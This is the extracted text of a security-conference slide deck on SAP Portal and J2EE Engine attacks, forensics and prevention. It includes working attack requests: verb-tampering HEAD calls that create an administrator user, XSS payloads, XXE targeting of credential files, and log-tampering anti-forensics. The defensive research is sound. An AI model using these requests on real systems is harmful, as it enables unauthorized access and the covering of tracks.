Breaking, forensicating and anti-forensicating SAP Portal and J2EE Engine

Invest in security to secure investments

Breaking, forensica/ng and an/-‐forensica/ng SAP Portal and J2EE Engine

About ERPScan

•  The only 360-‐degree SAP Security solu8on -‐ ERPScan Security Monitoring Suite for SAP

•  Leader by the number of acknowledgements from SAP ( 150+ ) •  60+ presenta/ons key security conferences worldwide •  25 Awards and nomina/ons •  Research team -‐ 20 experts with experience in different areas

of security •  Headquarters in Palo Alto (US) and Amsterdam (EU)

2

Agenda

3

•  Why SAP •  Why SAP forensics •  Why it is hard •  AJack examples and forensics

–  Simple aJacks –  Advanced aJacks

•  Defense •  Conclusion

•  The most popular business applica8on •  More than 180000 customers worldwide •  74% of Forbes 500 run SAP •  300+ clients in South Africa by 2004 •  Almost every South Africa Government runs SAP

SAP

4

•  Espionage –  TheX of Financial Informa8on –  Corporate Secret and informa8on theX –  Supplier and Customer list theX –  HR data theX

•  Sabotage –  Denial of service –  Tampering with financial records –  Access to technology network (SCADA) by trust rela8ons

•  Fraud –  False transac8ons – Modifica8on of master data

5

Why SAP Security?

hJp://erpscan.com/wp-‐content/uploads/2012/06/SAP-‐Security-‐in-‐figures-‐a-‐global-‐survey-‐2007-‐2011-‐final.pdf

0

100

200

300

400

500

600

700

800

900

2001 2002 2003 2004 2005 2006 2007 2008 2009 2010 2011 2012 2013

How easy? SAP Security Notes

6

0

5

10

15

20

25

30

35

2006 2007 2008 2009 2010 2011 2012

•  BlackHat •  HITB •  Troopers •  RSA •  Source •  ITWeb •  DeepSec

Point Source: SAP Security in Figures 2013

Is it popular? Talks about SAP security

7


Is it remotely exploitable?

8

9

Is it relevant for South Africa?

Simple scan for SAP routers exposed to the Internet:

•  63 SAP Routers found in the default port •  27 SAP Routers with medium-‐cri8cal issues •  7 SAP Routers with high-‐cri8cal issues

Number of Web-‐based SAP Systems found: •  20 by Shodan

0

2

4

6

8

10

12

14

16

SAP Dispatcher SAP MMC SAP Message Server SAP HostControl SAP ITS Agate SAP Message Server httpd

World


10

What about other services?

* This aJack has not been confirmed by the customer nor by the police authori8es in Greece inves8ga8ng the case. SAP does not have any indica8on that it happened.

Now, it adds, “We gained full access to the Greek Ministry of Finance. Those funky IBM servers don't look so safe now, do they...” Anonymous claims to have a “sweet 0day SAP exploit”, and the group intends to “sploit the hell out of it.”

11

Who actually tried to break SAP?

12

What about unpublished threats?

•  Companies are not interested in publishing informa8on about their breaches

•  There are a lot of internal breaches thanks to unnecessarily given authoriza8ons (An employee by mistake buys hundreds of excavators instead of ten)

•  There are known stories about backdoors leX by developers in custom ABAP code

•  How can you be sure that, if a breach occurs, you can find evidence?


13

SAP Forensics

•  If there are no aJacks, it doesn’t mean anything

•  Companies don’t like to share it •  Companies don’t use security audit ~10% •  Even if used, nobody manages it ~5% •  Even if managed, no correla8on ~1%

14

Typical SAP audit op/ons

•  ICM log icm/HTTP/logging_0 70% •  Security audit log in ABAP 10% •  Table access logging rec/client 4% •  Message Server log ms/audit 2% •  SAP Gateway access log 2%

•  % of companies (based on our security assessments and product implementa8ons)


What do we see?

15

•  A lot of research •  Real aJacks •  Lack of logging prac8ce •  Many vulnerabili8es are hard to close → We need to monitor

them, at least

• Ideally, we should control everything, but this talk has limits, so let’s focus on the most critical areas

What do we need to monitor? External aYacks on SAP

16

• Awareness AJack users and SAP GUI

• Secure configura8on and patch management SAP Router

• Disable them Exposed SAP services

• Too much issues and custom configura8on • May be 0-‐days • Need to concentrate on this area

SAP Portal

17

SAP Portal

•  Point of web access to SAP systems •  Point of web access to other corporate systems •  Way for aJackers to get access to SAP from the Internet

18

Portal architecture

19

Let’s begin the technical part

Full logging is not always the best op/on

*not only because of system highload

20

Full logging is not always the best op/on

•  SAP MMC – centralized system management •  Allowing to see the trace and log messages •  If TRACE_LEVEL = 3 → JSESSIONIDs are stored in logs •  <SID>\DVEBMGS<id>\j2ee\cluster\server0\log\system

\userinterface.log •  It’s not bad if you only use it some8mes and delete logs aXer

use, but…

21

But some/mes

•  SAP MMC has remote commands •  By default, many commands go without auth •  Commands are simple SOAP requests •  AJacker can read logs without auth •  And read JSESSIONIDs stored in logs •  And use them for logging into SAP Portal

hJp://help.sap.com/saphelp_nwpi71/helpdata/en/d6/49543b1e49bc1fe10000000a114084/frameset.htm

22

Preven/on

•  Don’t use TRACE_LEVEL = 3 •  Delete traces when work is finished •  Limit access to dangerous methods •  Install notes 927637 and 1439348 •  Mask security-‐sensi/ve data in HTTP access log

•  The HTTP Provider service can mask security-‐sensi8ve URL parameters, cookies, or headers

•  By default, only for headers listed below -  Path Parameter: jsessionid -  Request Parameters: j_password, j_username,

j_sap_password, j_sap_again, oldPassword, confirmNewPassword,8cket

-  HTTP Headers: Authoriza8on, Cookie (JSESSIONID, MYSAPSSO2)

hJp://help.sap.com/saphelp_nwce71/helpdata/en/79/77b142c444c96ae10000000a155106/content.htm

23

Masking security-‐sensi/ve data in HTTP log

SAP AJacks and Forensics

* Only J2EE engine

24

If you are running an ABAP + Java installa9on of Web AS with SAP Web Dispatcher as a load balancing solu9on, you can safely disable logging of HTTP requests and responses on J2EE Engine, and use the corresponding CLF logs of SAP Web Dispatcher. This also improves the HTTP communica9on performance. The only drawback of using the Web Dispatcher’s CLF logs is that no informa4on is available about the user execu4ng the request (since the user is not authen9cated on the Web Dispatcher, but on the J2EE Engine instead). *Not the only…. There are many complex a>acks with POST requests.

hJp://help.sap.com/saphelp_nw70ehp1/helpdata/en/ef/8cd7f51dfead42ab90537886104269/frameset.htm

25

SAP Logging


SAP J2EE Logging

26

•  Categories of system events recording: -  System – all system related security and administra8ve logs. -  Applica8ons – all system events related to business logic. -  Performance – reserved for single ac8vity tracing.

•  Default loca8on of these files in your file system \usr\sap\<sid>\<id>\j2ee\cluster\<node>\log\

•  The developer trace files of the Java instance -  <SID>\<instance name>\work

•  The developer trace files of the central services -  <SID>\<instance name>\work -  <SID>\<instance name>\log

•  Java server logs -  <SID>\<instance name>\j2ee\cluster\server<n>\log

•  Informa8on disclosure and XSS •  Verb Tampering via HEAD •  Invoker servlet via GET

All that can be found in HTTP headers. j2ee\cluster\<node>\log\system\httpaccess\responses.trc

27

Simple aYacks


28

XSS: Forensics

#Plain###192.168.192.26 : GET /irj/servlet/prt/portal/prtroot/com.sap.portal.usermanagement.admin.UserMapping?systemid=MS_EXCHANGEaaaa%3C/script%3E%3Cscript%3Ealert(%27xSS%27)%3C/script%3E HTTP/1.1 200 3968#

• <servlet> •  <servlet-name>CriticalAction</servlet-name> •  <servlet-class>com.sap.admin.Critical.Action</servlet-class> • </servlet> • <servlet-mapping> •  <servlet-name>CriticalAction</</servlet-name> •  <url-pattern>/admin/critical</url-pattern> •  </servlet-mapping • <security-constraint> • <web-resource-collection> • <web-resource-name>Restrictedaccess</web-resource-name> • <url-pattern>/admin/*</url-pattern> • <http-method>GET</http-method> • </web-resource-collection> • <auth-constraint> <role-name>administrator</role-name> </auth-constraint> • </security-constraint>

29

Verb Tampering: Descrip/on (web.xml)

•  Create a new user ITWEB:ITWEB HEAD /ctc/ConfigServlet?param=com.sap.ctc.u8l.UserConfig;CREATEUSER;USERNAME=ITWEB,PASSWORD=ITWEB

•  Add the user ITWEB to the group Administrators HEAD /ctc/ConfigServlet?param=com.sap.ctc.u8l.UserConfig;ADD_USER_TO_GROUP;USERNAME=ITWEB,GROUPNAME=Administrators

Works when UME uses JAVA database

30

Verb Tampering: AYack

•  Install SAP Notes 1503579, 1616259 •  Install other SAP Notes about Verb Tampering •  Scan applica8ons with ERPScan WEB.XML checker •  Disable the applica8ons that are not necessary

31

Verb Tampering: Preven/on

[Apr 3, 2013 1:23:59 AM ] -‐ 192.168.192.14 : GET /ctc/ConfigServlet HTTP/1.1 401 1790 [Apr 3, 2013 1:30:01 AM ] -‐ 192.168.192.14 : HEAD /ctc/ConfigServlet?param=com.sap.ctc.u8l.UserConfig;CREATEUSER;USERNAME=ITWEB,PASSWORD=ITWEB HTTP/1.0 200 0

32

Verb Tampering: Forensics

33

Invoker Servlet: AYack

#1.5#000C29C2603300790000003A000008700004D974E7CCC6D8#1364996035203#/System/Security/Audit#sap.com/tc~lm~ctc~util~basic_ear#com.sap.security.core.util.SecurityAudit#Guest#0#SAP J2EE Engine JTA Transaction : [024423a006e18]#n/a##217c5d309c6311e29bca000c29c26033#SAPEngine_Application_Thread[impl:3]_22##0#0#Info#1#com.sap.security.core.util.SecurityAudit#Plain###Guest | USER.CREATE | USER.PRIVATE_DATASOURCE.un:hacker | | SET_ATTRIBUTE: uniquename=[hacker]# #1.5#000C29C2603300790000003B000008700004D974E7CD3828#1364996035234#/System/Security/Audit#sap.com/tc~lm~ctc~util~basic_ear#com.sap.security.core.util.SecurityAudit#Guest#0#SAP J2EE Engine JTA Transaction : [024423a006e26]#n/a##217c5d309c6311e29bca000c29c26033#SAPEngine_Application_Thread[impl:3]_22##0#0#Warning#1#com.sap.security.core.util.SecurityAudit#Plain###Guest | USERACCOUNT.CREATE | UACC.PRIVATE_DATASOURCE.un:hacker | | SET_ATTRIBUTE: userid=[USER.PRIVATE_DATASOURCE.un:hacker]# #1.5#000C29C2603300680002C97A000008700004D974E8354D1D#1364996042062#/System/Security/Audit/J2EE#sap.com/irj#com.sap.engine.services.security.roles.audit#Guest#182818##n/a##0c5bfef08bc511e287e6000c29c26033#Thread[Thread-50,5,SAPEngine_Application_Thread[impl:3]_Group]##0#0#Info#1#com.sap.engine.services.security.roles.audit#Java###{0}: Authorization check for caller assignment to J2EE security role [{1} : {2}].#3#ACCESS.OK#SAP-J2EE-Engine#guests#


34

Invoker Servlet: Forensics (user crea/on)


35

Invoker Servlet: Forensics (user crea/on)

•  Update to the latest patch 1467771, 1445998 • “EnableInvokerServletGlobally” must be “false” •  Check all WEB.XML files with ERPScan WEBXML checker

36

Invoker servlet: Preven/on

•  Overwrite log file with trash requests •  Disable logs (need server restart) •  Delete logs (not so easy) * There should be a separate place for logs to prevent modifica4ons and find those types of a>acks

37

An/-‐forensics for simple aYacks

•  CSRF in Webdynpro JAVA •  XXE in Portal •  Malicious upload in Portal

* They all need addi4onal analysis, like enabling POST data logging or indirect signs

38

Advanced aYacks

•  Webdynpro unauthorized modifica8ons •  For example:

-  somebody steals an account using XSS/CSRF/Sniffing -  then tries to modify the severity level of logs

39

Advanced aYacks: webdynpro JAVA

hJp://help.sap.com/saphelp_nw70/helpdata/en/42/fa080514793ee6e10000000a1553f7/frameset.htm 40


•  No traces of change in default log files \cluster\server0\log\system\httpaccess\responses.log •  Webdynpro sends all data by POST, and we only see GET URLs in

responses.log •  But some8mes we can find informa8on by indirect signs [Mar 20, 2013 9:35:49 AM ] - 172.16.0.63 : GET /webdynpro/resources/sap.com/tc~lm~webadmin~log_config~wd/Components/com.sap.tc.log_configurator.LogConfigurator/warning.gif HTTP/1.1 200 110 •  Client loaded images from server during some changes

41


•  Most ac8ons have icons •  They have to be loaded from the server •  Usually, legi8mate users have them all in cache •  AJackers usually don’t have them, so they make requests to

the server •  That’s how we can iden8fy poten8ally malicious ac8ons •  But there should be correla8on with a real user’s ac8vity •  False posi8ves are possible:

-  New legi8mate user -  Old user clears cache -  Other

42

webdynpro JAVA: Forensics

•  Injec8on of malicious requests into XML packets •  Can lead to unauthorized file read, DoS, SSRF •  There is an XXE vulnerability in SAP Portal •  Can be exploited by modifica8on of POST request •  It is possible to read any file from OS and much more

43

XXE in Portal: Details

44

XXE in Portal: AYack

45

XXE in Portal: Details

46

XXE in Portal: AYack

•  We can read any file •  Including config with passwords •  The SAP J2EE Engine stores the database

user SAP<SID>DB; its password is here: •  \usr\sap\<SID>\SYS\global\security\data

\SecStore.properties

47

XXE in Portal: Result

•  Install SAP note 1619539 •  Restrict read access to files SecStore.proper9es and SecStore.key

48

XXE in Portal: Preven/on

POST /irj/servlet/prt/portal/prteventname/HtmlbEvent/prtroot/pcd!3aportal_content!2fadministrator!2fsuper_admin!2fsuper_admin_role!2fcom.sap.portal.content_administration!2fcom.sap.portal.content_admin_ws!2fcom.sap.km.AdminContent!2fcom.sap.km.AdminContentExplorer!2fcom.sap.km.AdminExplorer/ HTTP/1.1

49

XXE in Portal: Forensics Fail

XXE in Portal: Forensics

•  The only one way to get HTTP POST request values is to enable HTTP Trace.

•  Visual Administrator → Dispatcher → HTTP Provider → Properties: HttpTrace = enable. -  For 6.4 and 7.0 SP 12 and lower:

o  On Dispatcher /j2ee/cluster/dispatcher/log/defaultTrace.trc

o  On Server \j2ee\cluster\server0\log\system\httpaccess\responses.0.trc

-  For 7.0 SP13 and higher: /j2ee/cluster/dispatcher/log/services/http/req_resp.trc

•  And then you need to manually analyze all requests if there are any XXE attacks.

50

51

Malicious file upload: AYack

•  Knowledge management allows to upload to the server different types of files that can store malicious content

•  Sometimes, if guest access is allowed, it is possible to upload any file without being an authenticated user

•  For example, it can be an HTML file with JavaScript that steals cookies

hJp://help.sap.com/saphelp_nwpi71/helpdata/en/d6/49543b1e49bc1fe10000000a114084/frameset.htm 52


53


Malicious file upload: Forensics

•  [Apr 10, 2013 2:26:13 AM ] - 192.168.192.22 : POST /irj/servlet/prt/portal/prteventname/HtmlbEvent/prtroot/pcd!3aportal_content!2fspecialist!2fcontentmanager!2fContentManager!2fcom.sap.km.ContentManager!2fcom.sap.km.ContentExplorer!2fcom.sap.km.ContentDocExplorer!2fcom.sap.km.DocsExplorer/documents HTTP/1.1 200 13968

•  [Apr 10, 2013 2:26:14 AM ] - 192.168.192.22 : GET /irj/go/km/docs/etc/public/mimes/images/html.gif HTTP/1.1 200 165

•  *Again, images can help us

54

55

Malicious file upload: Preven/on

•  Enable File Extension and Size Filter. -  System Administra9on → System Configura9on → Content Management →

Repository → Filters → Show Advanced Op9ons → File Extension and Size Filter

-  you must select either the All repositories parameter, or at least one repository from the repository list in the Repositories parameter. Otherwise, the filter is not created.

•  Enable Malicious Script Filter. -  System Administra9on → System Configura9on → Content Management →

Repository → Filters → Show Advanced Op9ons → Malicious Script Filter -  the filter also detects executable scripts in files that are being modified and

encodes them when they are saved o  enable Forbidden Scripts. Comma-‐separated list of banned script tags that will be encoded when the filter is applied.

o  enable the Send E-‐Mail to Administrator op/on.

56

Filtering EPCF in XSS

•  EPCF provides a JavaScript API for client-‐side communica8on between the Portal components and the Portal core framework

•  EPCM (Enterprise Portal Client Manager) •  iViews can access the EPCM object from every page •  Every iView contains the EPCM object •  For example, EPCF is used for tranmit user data buffer for

iViews •  <SCRIPT>alert(EPCM.loadClientData("urn:com.sap.myObjects“,"person");</SCRIPT>

57

Advanced aYacks: An/-‐Forensics

•  If all trace is enabled, it can downgrade speed •  It can also occupy all the storage volume •  If an aJacker want to spam logs with trash values, he can do it

much faster than just with GET logs

58

Securing SAP Portal

•  Patching •  Secure configuration •  Enabling HTTP Trace with masking •  Malicious script filter •  Log archiving •  Additional place for log storage •  Correlation of security events

And one more thing: •  Portal has connec8ons with a lot of systems in corporate LAN •  Using SSRF, aJackers can get access to these systems

59

Portal post-‐exploita/on

HTTP Server Corporate network

Direct aJack GET /vuln.jsp

SSRF AJack

SSRF AJack Get /vuln.jst

A B

60

SSRF aYacks

hJp://erpscan.com/wp-‐content/uploads/2012/08/SSRF-‐vs-‐Businness-‐cri8cal-‐applica8ons-‐whitepaper.pdf

61

Gopher uri scheme

Using gopher:// uri scheme, it is possible to send TCP packets •  Exploit OS vulnerabili8es •  Exploit old SAP applica/on vulnerabili/es •  Bypass SAP security restric8ons •  Exploit vulnerabili8es in local services

More info in our BH2012 presenta8on: SSRF vs. Business Cri9cal Applica9ons

It is possible to protect yourself from these kinds of issues, and we are working close with SAP to keep customers secure

SAP Guides

It’s all in your hands

Regular security assessments

ABAP code review

Monitoring technical security

Segrega/on of Du/es

62

Conclusion

Future work

•  I'd like to thank SAP's Product Security Response Team for the great cooperation to make SAP systems more secure. Research is always ongoing, and we can't share all of it today. If you want to be the first to see new attacks and demos, follow us at @erpscan and attend future presentations:

•  May 21 – Training at AusCert (Gold Coast, Australia) •  June 5-6 – Presentation at RSA (Marina Bay Sands,

Singapore) •  September 10-12 – BlackHat Trainings (Istanbul, Turkey)

63

Software

Breaking, forensicating and anti-forensicating SAP Portal and J2EE Engine